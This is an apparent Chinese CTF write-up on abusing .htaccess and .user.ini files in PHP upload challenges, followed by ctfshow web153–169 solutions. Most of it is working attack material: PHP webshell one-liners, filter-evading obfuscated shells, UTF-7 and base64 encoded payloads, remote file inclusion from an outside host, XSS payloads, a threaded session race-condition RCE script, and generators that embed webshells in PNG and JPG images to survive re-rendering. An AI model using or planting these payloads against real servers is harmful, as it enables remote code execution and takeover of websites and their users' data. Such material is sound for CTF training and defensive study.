a2905b34fc76e7d68c4c04e63899cef9.png

.htaccess

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

注意:**.htaccess 中有 # 单行注释符,且支持 \ 拼接上下两行**

(1).htaccess参数

常见配法有以下几种:

1
2
3
4
5
6
7
AddHandler php5-script  .jpg             //Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType application/x-httpd-php .jpg //AddType 将特定扩展名文件映射为php文件类型。
Sethandler application/x-httpd-php //Sethandler 将该目录及子目录的所有文件均映射为php文件类型

<FilesMatch "filename"> //指定文件名的文件,才能被当做PHP解析
SetHandler application/x-httpd-php
</FilesMatch>

(2)auto_append_file参数

php.ini中有两项:

1
2
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:

1
2
php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

这样在指定.htaccess的文件夹内的页面文件才会加载 /home/fdipzone/header.php 与 /home/fdipzone/footer.php,其他页面文件不受影响。

(3) 查看所有访问本站的记录

这种方式利用了apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
可添加参数?refresh=n来实现每隔ns自动刷新
例如:127.0.0.1/server-status?refresh=5

1
SetHandler server-status

(4) 这种方法条件为apache加载了cgi_module,开启了fastcgi也是可以利用的

1
2
Options +ExecCGI
AddHandler cgi-script .xx

编辑1.xx(注意格式比较严格)

1
2
3
4
#! /bin/bash
echo Content-type: text/html
echo ""
cat /flag

在这里插入图片描述

(5) 这种方式可通过php_value来配置PHP的配置选项;另外php_flag name on|off用来设定布尔值的配置指令
由图可知,.htaccess可以使两种配置模式生效:PHP_INI_PREDIR和PHP_INI_ALL
可查看php.ini配置选项列表,从中寻找可利用的配置项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(1)使用文件包含的两个相关配置
auto_prepend_file:指定一个文件,在主文件解析之前自动解析
auto_append_file:指定一个文件,在主文件解析后自动解析
由于通过设置这两个选项进行文件包含,那么便可使用相关的php协议流,如php://filter,可用来绕过对一些关键字的检测
(2)绕过preg_math的配置
(3)利用inclue_path包含恶意文件
(4)强制开启短标签
(5)利用error log写本地文件 (html编码)

(1)
php_value auto_prepend_file webshell
or
php_value auto_append_file webshell

<?=phpinfo();

(2)
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

(3)
php_value include_path "/tmp"

(4)
php_value short_open_tag 1

(5)
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767

(6)禁用拒绝规则,使.htaccess可访问(默认情况下,.htaccess是不可访问的)
编辑.htaccess文件,添加如下配置

1
2
3
4
5
6
7
8
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php

# <?php phpinfo(); ?>

例如上面这个.htaccess文件,首先设置了禁用拒绝规则,这样便可直接访问到.htaccess;接着用SetHandler将所有文件作为php解析,最后写入php代码,开头用#注释掉,这样便可成功解析.htaccess,然后解析php

(7)**.htaccess在重定向中的利用**
1
2
3
4
5
RewriteCond %{REQUEST_FILENAME} !-d
如果不是目录,才会执行下一条RewriteRule

RewriteCond %{REQUEST_FILENAME} !-f
如果不是文件,才会执行下一条RewriteRule
1
2
3
4
5
6
7
8
9
10
11
12
13
Tokyo Westerns / MMA CTF 2nd 2016应用
题目要求访问/admin,但访问需要登录密码(是在Apache中设置的),但是密码破解难度极大,并且不存在其他绕过技巧(maybe);只有.htaccess重定向绕过的方法可行

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]
然后访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码

注:
RewriteRule ^ index.php [QSA,L]
标签 [QSA,PT,L]
QSA:表示保留参数如get传值?xxx==xx…;
PT:再把这个URL交给Apache处理;
L:作为最后一条;

(8) 查看源码

我们可以通过 .htaccess 文件的 php_flag 指令对 PHP 的 engine 配置选项进行设定,当把 engine 的值设为 off(或 0)时可以禁用一个本目录和子目录中的 PHP 解析,此时将会造成源码泄露:

1
php_flag engine 0

img

使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。

一个 .htaccess文件示例

1
2
AddType   application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"
远程文件包含

PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 指令在 .htaccess 文件中开启。这里为了演示,就先在 php.ini 中设置 allow_url_include 为 On

.htaccess 文件中的设置为:

1
2
3
php_value auto_prepend_file http://192.168.0.181/phpinfo.txt
或:
php_value auto_append_file http://192.168.0.181/phpinfo.txt

远程主机上的phpinfo.txt中的内容为:

1
<?php phpinfo();?>

这样,最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行:

img

任意代码执行
通过 PHP 伪协议

这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。

条件:

  • allow_url_fopen 为 On
  • allow_url_include 为 On
  • 目标环境的当前目录中存在至少一个 PHP 文件
1
2
3
4
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plain,%3c%3fphp+phpinfo()%3b%3f%3e
// 如果不使用base64加密则注意需要url编码

img

通过解析 .htaccess 文件
  • 方法一:通过包含 .htaccess 自身
1
2
php_value auto_append_file .htaccess
#<?php phpinfo();?>

即让所有的 PHP 文件都包含 .htaccess 文件自身:

img

  • 方法二:直接将 .htaccess 文件当做 PHP文件处理

这种方法适合目标环境当前目录或子目录下没有 PHP 文件的情况下。

需要先在 .htaccess 里面设置允许访问 .htaccess 文件,否则是直接访问 .htaccess 文件是Forbidden的:

1
2
3
4
5
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>

然后再设置将 .htaccess 指定当做 PHP 文件处理并解析:

1
2
SetHandler application/x-httpd-php
# <?php phpinfo();?>

最终 .htaccess 文件里面的内容为:

1
2
3
4
5
6
7
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo();?>

然后我们直接访问 .htaccess 文件即可把 .htaccess 文件当做 PHP 文件处理并执行里面的 PHP 代码:

img

通过设置 highlight_file

我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。

.htaccess中的内容

1
php_value highlight.comment '"><script>alert(1);</script>'

index.php中的内容为:

1
2
3
<?php
highlight_file(__FILE__);
// comment

当访问index.php时便会触发 XSS:

img

通过错误消息链接

.htaccess 中的内容:

1
2
3
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

index.php 中的内容为:

1
2
<?php
include('foo'); // 这里会报错

当访问index.php时便会触发 XSS:

img

include_path

在题目的代码中有一处 include_once("fl3g.php");,但是当我们访问fl3g.php文件时却发现该文件并不存在,这里便用到了php.ini中的include_path选项。

include_path可以用来设置include()或require()函数包含文件的参考目录路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且可以使fl3g.php文件不被删除。

自定义错误文件(可写Webshell)

error_log 可以将 PHP 运行报错的记录写到指定文件中,因此我们可以通过 .htaccess 文件设定 error_log 选项来自定义错误文件的存储路径,并以此来写入Webshell:

1
2
3
php_value error_log /var/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
# include_path 用来将include()的默认目录路径改变

index.php 中的内容为:

1
2
<?php
include('foo'); // 这里会报错

访问 index.php,会报错并记录在 shell.php 文件中:

img

如上图可见,成功将我们的phpinfo()写入了shell.php中,但是 < 等字符会经过 html 编码(如上图所示),所以我们需要用 UTF-7 编码格式来绕过。

Base64 编码绕过

主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来:

1
2
3
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"

# images.png 中是经过base64编码后的Webshell

我们直接使用data://协议也是可以的,这样就不需要上传 images.png 了:

1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

img

UTF-7 编码格式绕过

这种方法我们在前文中已经涉及到了,比如我们在一个图片中写入 UTF-7 编码格式的 Webshell:

1
2
// images.png
+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

然后我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了:

1
2
3
php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

当然,也可以使用 php://filer 伪协议进行 UTF-7 与 UTF-8 之间的转换,即:

1
php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"

img

也可以使用 .htaccess 自身包含来执行 Webshell,这样就不需要再上传一个 images.png 了:

1
2
3
4
php_value auto_append_file .htaccess
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

同理,除了使用 UTF-7 外,UTF-16、UTF-32 都可以使用,方法都是一样的。

与.htaccess 相关的Bypass

与 .htaccess 相关限制除了使用黑名单限制 .htaccess 外,最常见的就是限制关键字以及加入脏字符啥的了。

绕过关键字过滤

绕过对关键字的过滤我们可以使用反斜杠 \ 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:

1
2
3
4
AddTy\
pe application/x-httpd-ph\
p .png
# 即: AddType application/x-httpd-php .png
绕过脏字符

上面的 [XNUCA2019Qualifier]EasyPHP 这道题目已经涉及到了。即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 # 对脏字符进行注释,或使用反斜杠 \ 将换行符转义成普通字符。

绕过对上传图片的尺寸限制

有时候,在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。

我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:

1
2
3
4
5
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:

1
2
3
#define width 1337
#define height 1337
AddType application/x-httpd-php images.png
文件格式检测

如果使用exif_imagetype检测上传的文件的第一个字节来判断文件类型,那么只要是图像格式以 # 或 0x00 开头便可绕过
(1)使用XBM图像,使用PHP生成图像(需安装GD库)
(2)使用WBMP图像,使用PHP生成图像

(1)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 创建空白图像并添加文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 保存图像
imagexbm($im, '1.png');

// 释放内存
imagedestroy($im);
?>

那么可以在.htaccess前面加上:(1_png_width以及1_png_height是根据文件名进行拼接生成的)

那么可以在.htaccess前面加上:(1_png_width以及1_png_height是根据文件名进行拼接生成的)

1
2
#define 1_png_width 120
#define 1_png_height 20

便可绕过对文件格式的检测

(2)

1
2
3
4
<?php
$img = imagecreatetruecolor(20, 20);
imagewbmp($img, '1.wbmp');
?>
session

若过滤了 <、数字、: 等,此时便不能使用php://filter或者UTF编码的方式绕过了;可尝试利用.htaccess设置包含指定的文件;例如对于session文件,可通过包含上传文件产生的临时session进行RCE
查看配置文件,发现大部分session相关的配置都是可以通过 .htaccess 修改的
那么我们可以在不知道session存储路径的情况下,通过session.save_path指定存储路径,并且可以将session.upload_progress.cleanup 设置为off,这样便可无需条件竞争来将代码写到session文件中,从而包含rce

.htaccess编写

1
2
3
php_value auto_append_file "/tmp/sess_gtfly"
php_value session.save_path "/tmp"
php_flag session.upload_progress.cleanup off

然后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url='http://127.0.0.1/test.php'
headers={
"Cookie":'PHPSESSID=gtfly'
}
files={
"upload":''
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo system('whoami'); ?>'''
}
r = requests.session()
r.post(url,files=files,headers=headers,data=data)
t = r.get('http://127.0.0.1/test.php',headers=headers)
print(t.text)

在这里插入图片描述

在这里插入图片描述

.user.ini

1
2
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。

配置文件内容:

1
2
3
auto_prepend_file=filename      //包含在文件头
auto_append_file=filename //包含在文件尾
//filename是你自己的文件名

为了利用auto_append_file,我们首先上传.user.ini内容为 auto_append_file=”xxx” xxx为我们上传的文件名,接着上传一个带木马的图片
因为upload有index.php,所以这个php就会添加一个include”shell.png”,就会包含到木马,这样就在每个php文件上包含了我们的木马文件。

文件内容:

1
2
3
4
.user.ini
内容: auto_prepend_file="shell.png"
shell.png
<?php @eval($_POST['shell']);?>

ctfshow

web153

本题考察利用上传user.ini进行文件上传绕过

为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。

在这里插入图片描述

在这里插入图片描述

木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。

在这里插入图片描述

web154 155

上传正常的图片马失败,经过测试发现是过滤的 <xphp 其中的x是任意字符

尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、

1
<? echo '123';?>

前提是开启配置参数short_open_tags=on
2、

1
<?=(表达式)?>  等价于 <?php echo (表达式)?>

不需要开启参数设置

3、

1
<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、

1
<script language="php">echo '123';</script>

不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用 进行绕过,图片内容
剩下的步骤同153

web156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容

1
<?=eval($_POST{1});?>
web157 158

过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片马内容

1
<?=`tac ../f*`?>

或者

1
<?=system('tac ../f*')?>
web159

过滤了括号,那就用反引号就可以啦

1
<?=`tac ../f*`?>
web160

这题在之前的基础上过滤了空格

先说第一种做法

Nginx日志的默认路径:

1
/var/log/nginx/

先正常上传.user.ini文件(注意里面不要有空格),然后上传图片,图片内容为

1
2
<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
然后讲一句话写进user-agent里,再蚁剑连接,获取flag

image-20211023151930256

然后连接蚁剑

1
url+upload/index.php

或者将UA改为

1
<?php system('tac ../f*');?>

然后直接访问/upload/

第二种

还是先上传.user.ini,再上传图片,图片内容为

1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

然后直接访问/upload/,进行base64解码就行

web161
1
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

这道题对图片的文件头进行了检测!
所以在上题的基础上都加个 GIF89a 图片头就可以了
.user.ini也得加,图片也得加,上题的两种方法都可以

web162 163
session文件包含

这题把 flag 和 . 给ban了,使用 seesion文件包含

首先正常上传.user.ini,内容如下
在这里插入图片描述

接着上传png
在这里插入图片描述
最后就开始条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import threading
session=requests.session()
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'yu22x'
}
cookies={
'PHPSESSID': yu22x
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web164
png二次渲染
1
2
二次渲染
将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

详解链接:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

首先只能上传png文件,上传图片马,发现没有办法执行

在bp上发现图片中php代码没有了,猜测是进行了二次渲染

绕过二次渲染的png脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php

?>
------------------------------------
创建1.png图片成功!
------------------------------------

运行该脚本即可生成一个图片文件1.png

上传该图片

查看图片并传入命令:

1
2
&0=system
1=tac f*

image-20211023205631934

使用ctrl+s将图片下载下来,记事本打开即可

image-20211023205717323

web165

image-20211023212147376

jpg二次渲染

绕过二次渲染的jpg脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
$miniPayload = '<?=eval($_POST[1]);?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

执行该脚本生成一个payload_a.jpg

在题中上传图片,上传成功后,查看图片,然后进行POST传参

1
1=system('tac f*');
web166
application/x-zip-compressed

查看源代码发现只能上传zip
在这里插入图片描述
那我们直接上传一句话就可以了
在这里插入图片描述
注意修改Content-Type为application/x-zip-compressed
然后直接文件包含就可以了
在这里插入图片描述

web167
.htaccess

开局一个提示

在这里插入图片描述

说明和apache有关,一开始以为是apache解析漏洞,然后上传a.php.xxx也没有被解析成php。
那应该是要利用.htaccess进行绕过了

首先上传.htaccess
方式1

1
AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

方式2

1
2
3
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

PS:如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件

1
php_value auto_append_file 'flag'

在这里插入图片描述

然后上传图片一句话

在这里插入图片描述

最后直接访问就可以了

在这里插入图片描述

web168
免杀

image-20211029164111089

需要上传png文件

尝试上传一句话,发现返回为空

image-20211029170204510

说明被过滤了

尝试后发现过滤了 eval system $_POST $_GET 等等

下面是另外的免杀代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令

脚本2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
//a=system&b=tac ../flagaa.php

脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接

脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?> //替换

脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>

脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php

上传上面任意脚本,修改后缀,可以看到成功上传

image-20211029170923801

蚁剑连接即可

web169
.user.ini 进行日志包含

image-20211029173812485

需要上传zip文件,但zip的文件上传不上

image-20211029173918106

后端检查了MIME,只能为image/png

image-20211029174714168

所以抓包需要修改MIME type为image/png!!!!!!//注意改

发现可以成功上传

image-20211029174845438

尝试之后发现也对文件内容进行了过滤:<>?空格$等等

image-20211029175027359

但文件名可以修改为.user.ini和php

因为过滤,一句话上传不了,所以可以用 .user.ini 进行日志包含,即在UA头写入一句话

姿势: 先上传.user.ini文件,内容为 auto_append_file=/var/log/nginx/access.log

1
2
3
4
auto_append_file=/var/log/nginx/access.log
这里是利用nginx日志路径包含
这样就可以往UA里写入一句话了
image/png

image-20211029200541410

然后上传一个php文件

image-20211029212922738

蚁剑连接即可